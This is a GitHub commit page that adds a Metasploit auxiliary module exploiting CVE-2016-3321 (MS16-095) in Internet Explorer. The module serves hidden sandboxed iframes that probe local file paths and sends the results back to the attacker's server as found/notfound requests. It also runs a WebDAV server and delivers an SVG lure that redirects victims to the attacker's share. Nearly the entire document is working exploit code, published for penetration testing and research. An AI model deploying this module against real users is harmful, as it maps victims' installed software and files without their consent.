Skip to content

Commit ea0ebf2

Browse files
committed
Land rapid7#7194, Add MS16-095 IE Iframe Sandbox File Name Disclosure Vuln
2 parents d57e4d6 + c2c05a8 commit ea0ebf2

File tree

1 file changed

+392
-0
lines changed

1 file changed

+392
-0
lines changed
Lines changed: 392 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,392 @@
1+
##
2+
# This module requires Metasploit: http://www.metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpServer::HTML
11+
12+
def initialize(info={})
13+
super(update_info(info,
14+
'Name' => 'Internet Explorer Iframe Sandbox File Name Disclosure Vulnerability',
15+
'Description' => %q{
16+
It was found that Internet Explorer allows the disclosure of local file names.
17+
This issue exists due to the fact that Internet Explorer behaves different for
18+
file:// URLs pointing to existing and non-existent files. When used in
19+
combination with HTML5 sandbox iframes it is possible to use this behavior to
20+
find out if a local file exists. This technique only works on Internet Explorer
21+
10 & 11 since these support the HTML5 sandbox. Also it is not possible to do
22+
this from a regular website as file:// URLs are blocked all together. The attack
23+
must be performed locally (works with Internet zone Mark of the Web) or from a
24+
share.
25+
},
26+
'License' => MSF_LICENSE,
27+
'Author' => 'Yorick Koster',
28+
'References' =>
29+
[
30+
['CVE', '2016-3321'],
31+
['MSB', 'MS16-095'],
32+
['URL', 'https://securify.nl/advisory/SFY20160301/internet_explorer_iframe_sandbox_local_file_name_disclosure_vulnerability.html'],
33+
],
34+
'Platform' => 'win',
35+
'Targets' =>
36+
[
37+
[ 'Internet Explorer', {} ],
38+
],
39+
'DisclosureDate' => "Aug 9 2016",
40+
'DefaultTarget' => 0
41+
))
42+
43+
register_options(
44+
[
45+
OptString.new('SHARENAME', [ true, "The name of the top-level share.", "falcon" ]),
46+
OptString.new('PATHS', [ true, "The list of files to check (comma separated).", "Testing/Not/Found/Check.txt, Windows/System32/calc.exe, Program Files (x86)/Mozilla Firefox/firefox.exe, Program Files/VMware/VMware Tools/TPAutoConnSvc.exe" ]),
47+
], self.class)
48+
49+
# no SSL
50+
deregister_options('SSL', 'SSLVersion', 'SSLCert', 'SRVPORT', 'URIPATH')
51+
end
52+
53+
def js
54+
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
55+
56+
%Q|function report() {
57+
if(window.location.protocol != 'file:') {
58+
try {
59+
window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
60+
} catch (e) { }
61+
return;
62+
}
63+
64+
var frames = document.getElementsByTagName('iframe');
65+
for(var i = 0; i < frames.length; i++) {
66+
try {
67+
if(frames[i].name == 'notfound') {
68+
frames[i].src = 'http://#{my_host}/notfound/?f=' + frames[i].src;
69+
}
70+
else {
71+
frames[i].src = 'http://#{my_host}/found/?f=' + frames[i].src;
72+
}
73+
} catch(e) { }
74+
}
75+
}|
76+
end
77+
78+
def html
79+
frames = ""
80+
datastore['PATHS'].split(',').each do |path|
81+
frames = frames + "<iframe src=\"file:///#{path.strip}\" onload=\"this.name='notfound'\" style=\"display:none;\" sandbox></iframe>"
82+
end
83+
84+
%Q|<!DOCTYPE html>
85+
<html>
86+
<head>
87+
<script type="text/javascript">
88+
#{js}
89+
</script>
90+
</head>
91+
<body>
92+
#{frames}
93+
<script type="text/javascript">
94+
setTimeout('report();', 2000);
95+
</script>
96+
</body>
97+
</html>|
98+
end
99+
100+
def svg
101+
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
102+
103+
%Q|<!-- saved from url=(0014)about:internet -->
104+
<svg width="100px" height="100px" version="1.1" onload="try{ location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html'; } catch(e) { }" xmlns="http://www.w3.org/2000/svg"></svg>|
105+
end
106+
107+
def is_target_suitable?(user_agent)
108+
if user_agent =~ /^Microsoft-WebDAV-MiniRedir/
109+
return true
110+
end
111+
112+
info = fingerprint_user_agent(user_agent)
113+
if info[:ua_name] == HttpClients::IE
114+
return true
115+
end
116+
117+
false
118+
end
119+
120+
def on_request_uri(cli, request)
121+
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
122+
123+
case request.method
124+
when 'OPTIONS'
125+
process_options(cli, request)
126+
when 'PROPFIND'
127+
process_propfind(cli, request)
128+
when 'GET'
129+
unless is_target_suitable?(request.headers['User-Agent'])
130+
print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 image.svg")
131+
resp = create_response(200, "OK")
132+
resp.body = svg
133+
resp['Content-Type'] = 'image/svg+xml'
134+
resp['Content-Disposition'] = 'attachment;filename=image.svg'
135+
cli.send_response(resp)
136+
end
137+
138+
case request.uri
139+
when /^\/found\/\?f=/
140+
f = URI.unescape(request.uri.gsub('/found/?f=', ''))
141+
report_note(host: cli.peerhost, type: 'ie.filenames', data: f)
142+
print_good("Found file " + f)
143+
send_response(cli, '')
144+
when /^\/notfound\/\?f=/
145+
f = URI.unescape(request.uri.gsub('/notfound/?f=', ''))
146+
print_error("The file " + f + " does not exist")
147+
send_response(cli, '')
148+
when "/"
149+
resp = create_response(200, "OK")
150+
resp.body = %Q|<html>
151+
<head>
152+
<script type="text/javascript">
153+
try {
154+
window.location.href = 'file://#{my_host}/#{datastore['SHARENAME']}/index.html';
155+
} catch (e) {
156+
blob = new Blob([atob('#{Rex::Text.encode_base64(svg)}')]);
157+
window.navigator.msSaveOrOpenBlob(blob, 'image.svg');
158+
}
159+
</script>
160+
</head>
161+
<body>
162+
</body>
163+
</html>|
164+
165+
resp['Content-Type'] = 'text/html'
166+
cli.send_response(resp)
167+
else
168+
print_status("GET #{request.uri} #{request.headers['User-Agent']} => 200 returning landing page")
169+
send_response(cli, html)
170+
end
171+
else
172+
print_status("#{request.method} #{request.uri} => 404")
173+
resp = create_response(404, "Not Found")
174+
resp.body = ""
175+
resp['Content-Type'] = 'text/html'
176+
cli.send_response(resp)
177+
end
178+
end
179+
180+
#
181+
# OPTIONS requests sent by the WebDav Mini-Redirector
182+
#
183+
def process_options(cli, request)
184+
print_status("OPTIONS #{request.uri}")
185+
headers = {
186+
'MS-Author-Via' => 'DAV',
187+
'DASL' => '<DAV:sql>',
188+
'DAV' => '1, 2',
189+
'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',
190+
'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',
191+
'Cache-Control' => 'private'
192+
}
193+
194+
resp = create_response(207, "Multi-Status")
195+
headers.each_pair {|k,v| resp[k] = v }
196+
resp.body = ""
197+
resp['Content-Type'] = 'text/xml'
198+
cli.send_response(resp)
199+
end
200+
201+
#
202+
# PROPFIND requests sent by the WebDav Mini-Redirector
203+
#
204+
def process_propfind(cli, request)
205+
path = request.uri
206+
print_status("PROPFIND #{path}")
207+
body = ''
208+
209+
my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
210+
my_uri = "http://#{my_host}/"
211+
212+
if path !~ /\/$/
213+
214+
if path.index(".")
215+
print_status "PROPFIND => 207 File (#{path})"
216+
body = %Q|<?xml version="1.0" encoding="utf-8"?>
217+
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
218+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
219+
<D:href>#{path}</D:href>
220+
<D:propstat>
221+
<D:prop>
222+
<lp1:resourcetype/>
223+
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
224+
<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength>
225+
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
226+
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
227+
<lp2:executable>T</lp2:executable>
228+
<D:supportedlock>
229+
<D:lockentry>
230+
<D:lockscope><D:exclusive/></D:lockscope>
231+
<D:locktype><D:write/></D:locktype>
232+
</D:lockentry>
233+
<D:lockentry>
234+
<D:lockscope><D:shared/></D:lockscope>
235+
<D:locktype><D:write/></D:locktype>
236+
</D:lockentry>
237+
</D:supportedlock>
238+
<D:lockdiscovery/>
239+
<D:getcontenttype>application/octet-stream</D:getcontenttype>
240+
</D:prop>
241+
<D:status>HTTP/1.1 200 OK</D:status>
242+
</D:propstat>
243+
</D:response>
244+
</D:multistatus>
245+
|
246+
# send the response
247+
resp = create_response(207, "Multi-Status")
248+
resp.body = body
249+
resp['Content-Type'] = 'text/xml; charset="utf8"'
250+
cli.send_response(resp)
251+
return
252+
else
253+
print_status "PROPFIND => 301 (#{path})"
254+
resp = create_response(301, "Moved")
255+
resp["Location"] = path + "/"
256+
resp['Content-Type'] = 'text/html'
257+
cli.send_response(resp)
258+
return
259+
end
260+
end
261+
262+
print_status "PROPFIND => 207 Directory (#{path})"
263+
body = %Q|<?xml version="1.0" encoding="utf-8"?>
264+
<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/">
265+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
266+
<D:href>#{path}</D:href>
267+
<D:propstat>
268+
<D:prop>
269+
<lp1:resourcetype><D:collection/></lp1:resourcetype>
270+
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
271+
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
272+
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
273+
<D:supportedlock>
274+
<D:lockentry>
275+
<D:lockscope><D:exclusive/></D:lockscope>
276+
<D:locktype><D:write/></D:locktype>
277+
</D:lockentry>
278+
<D:lockentry>
279+
<D:lockscope><D:shared/></D:lockscope>
280+
<D:locktype><D:write/></D:locktype>
281+
</D:lockentry>
282+
</D:supportedlock>
283+
<D:lockdiscovery/>
284+
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
285+
</D:prop>
286+
<D:status>HTTP/1.1 200 OK</D:status>
287+
</D:propstat>
288+
</D:response>
289+
|
290+
291+
if request["Depth"].to_i > 0
292+
trail = path.split("/")
293+
trail.shift
294+
case trail.length
295+
when 0
296+
body << generate_shares(path)
297+
when 1
298+
body << generate_files(path)
299+
end
300+
else
301+
print_status "PROPFIND => 207 Top-Level Directory"
302+
end
303+
304+
body << "</D:multistatus>"
305+
306+
body.gsub!(/\t/, '')
307+
308+
# send the response
309+
resp = create_response(207, "Multi-Status")
310+
resp.body = body
311+
resp['Content-Type'] = 'text/xml; charset="utf8"'
312+
cli.send_response(resp)
313+
end
314+
315+
def generate_shares(path)
316+
share_name = datastore['SHARENAME']
317+
%Q|
318+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
319+
<D:href>#{path}#{share_name}/</D:href>
320+
<D:propstat>
321+
<D:prop>
322+
<lp1:resourcetype><D:collection/></lp1:resourcetype>
323+
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
324+
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
325+
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
326+
<D:supportedlock>
327+
<D:lockentry>
328+
<D:lockscope><D:exclusive/></D:lockscope>
329+
<D:locktype><D:write/></D:locktype>
330+
</D:lockentry>
331+
<D:lockentry>
332+
<D:lockscope><D:shared/></D:lockscope>
333+
<D:locktype><D:write/></D:locktype>
334+
</D:lockentry>
335+
</D:supportedlock>
336+
<D:lockdiscovery/>
337+
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
338+
</D:prop>
339+
<D:status>HTTP/1.1 200 OK</D:status>
340+
</D:propstat>
341+
</D:response>
342+
|
343+
end
344+
345+
def generate_files(path)
346+
trail = path.split("/")
347+
return "" if trail.length < 2
348+
349+
%Q|
350+
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
351+
<D:href>#{path}index.html</D:href>
352+
<D:propstat>
353+
<D:prop>
354+
<lp1:resourcetype/>
355+
<lp1:creationdate>#{gen_datestamp}</lp1:creationdate>
356+
<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength>
357+
<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified>
358+
<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag>
359+
<lp2:executable>T</lp2:executable>
360+
<D:supportedlock>
361+
<D:lockentry>
362+
<D:lockscope><D:exclusive/></D:lockscope>
363+
<D:locktype><D:write/></D:locktype>
364+
</D:lockentry>
365+
<D:lockentry>
366+
<D:lockscope><D:shared/></D:lockscope>
367+
<D:locktype><D:write/></D:locktype>
368+
</D:lockentry>
369+
</D:supportedlock>
370+
<D:lockdiscovery/>
371+
<D:getcontenttype>application/octet-stream</D:getcontenttype>
372+
</D:prop>
373+
<D:status>HTTP/1.1 200 OK</D:status>
374+
</D:propstat>
375+
</D:response>
376+
|
377+
end
378+
379+
def gen_timestamp(ttype=nil)
380+
::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")
381+
end
382+
383+
def gen_datestamp(ttype=nil)
384+
::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")
385+
end
386+
387+
def run
388+
datastore['URIPATH'] = '/'
389+
datastore['SRVPORT'] = 80
390+
exploit
391+
end
392+
end

0 commit comments

Comments
 (0)